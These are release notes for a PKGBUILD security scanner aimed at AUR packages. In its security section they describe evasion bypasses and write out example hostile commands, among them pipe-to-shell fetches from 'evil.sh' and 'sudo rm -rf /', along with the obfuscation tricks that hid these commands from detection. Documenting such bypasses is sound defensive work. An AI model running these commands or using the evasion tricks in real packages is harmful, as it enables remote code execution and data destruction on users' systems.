Skip to content

v0.5.0: security fixes, corpus reconstruction, AUR-first docs

Choose a tag to compare

@emiliano-go emiliano-go released this 25 Jul 21:58
v0.5.0
0f06a12

TL;DR

Five security fixes for evasion vectors in PKGBUILD analysis, corpus rebuilt from lock manifest (diffs no longer committed), and documentation rewritten for AUR-first install.

Security

  • Message prefix disabled every scoped rule. Any line starting with echo/printf/msg followed by a quote was classified as an inert "message" in its entirety, but a shell line does not end at its first command. echo "x"; sudo rm -rf / scored 0 where sudo rm -rf / scored 40, so a seven-character prefix switched off R009 (CRITICAL), R010, and R011. Message context now requires the line to contain no command separator (;, &, |) or substitution ($(, backtick).
  • Line continuations bypassed the CRITICAL pipe-to-shell rules. Rules match one line at a time, so splitting curl http://evil.sh | bash across a trailing backslash left R001/R002 with only a curl \ fragment, dropping the score from 65 to 25. Continuations are now joined into one logical line before matching, for both the raw and resolved paths.
  • Variable resolution never ran inside function bodies. The tokenizer's assignment pattern was anchored at ^(\w+)=, so any indented assignment (that is, every assignment inside a function) was skipped and the variable table stayed empty. C=curl followed by $C http://evil.sh | bash resolved to nothing and defeated every rule matching resolved strings, scoring 20 against a baseline of 65. Assignments are now recognised when indented and when introduced by local/export/declare/readonly/typeset.
  • One-line function bodies escaped function scoping. package() { curl evil | bash; } was classified before the depth counter advanced, so the line read as other and function_body-scoped rules skipped it; the counter was also left raised for everything that followed.
  • .. passed package-name validation and could delete the cache root. _VALID_PKG_NAME accepted . and .., so repo_path("..") resolved to the parent of the repo cache, which clone_or_fetch then passed to shutil.rmtree when it failed to open as a repository. Both names are now rejected, and repo_path additionally asserts the resolved path is directly inside the cache root.
  • discovery.fetch_package_info interpolated the package name straight into the RPC query string; an unescaped & or # could inject or truncate parameters. It now uses urlencode, matching get_aur_latest_versions.

Added

  • scripts/build_corpus.py --from-manifest: rebuilds the exact corpus recorded in corpus.lock instead of re-selecting packages by AUR popularity. Fetches only the branches named in the lock into an empty bare repo, so reconstruction takes minutes rather than requiring a full clone of the AUR monorepo. This is what lets CI materialise the corpus, which is gitignored and therefore never present on a fresh checkout.

Fixed

  • Mirror Integrity Check never ran. The Alert on failure step's script block was mis-indented, making mirror-check.yml unparseable; every run failed during workflow startup. The workflow now also reconstructs the corpus before verifying it, rather than assuming a directory that cannot exist in CI.
  • Corpus Drift Detection failed with "Corpus not found" for the same reason, and now rebuilds the corpus from the lock first (caching the fetched AUR objects).
  • Corpus diffs were not reproducible across machines. git scales the abbreviation length in index <old>..<new> lines to a repository's object count, so a sparse clone emitted 7-character hashes where the full mirror emitted 12: byte-different diffs for identical commits, invalidating corpus_content_sha256. core.abbrev is now pinned to 12 and recorded in the lock.
  • Overlapping strata double-counted diffs. A package matching two strata (python-foo-git matches both lang_ecosystem and vcs_git) was walked once per stratum, and both entries were kept, inflating per-stratum fire rates. Entries are now deduplicated at lock-write time, keeping the last stratum to match the overwrite order the corpus on disk already had. corpus.lock drops from 3332 to 3246 entries with no change to the corpus itself.
  • corpus.lock recorded strata_file as an absolute path from the generating machine.
  • Drift reports are no longer passed through a GITHUB_OUTPUT heredoc, whose delimiter could be forged by diff content and whose payload could exceed the 1 MB output limit. Both workflows also suppress duplicate issues instead of filing one per run.

Changed

  • scope-contradiction downgraded from error to warning: a pattern matching a function header with function_body scope can still fire on a single-line definition (build() { ...; }), so it is reachable but will miss the ordinary multi-line form.

Stats

  • 4 commits since v0.4.1
  • 618 tests (18 files), all passing
  • Package version 0.5.0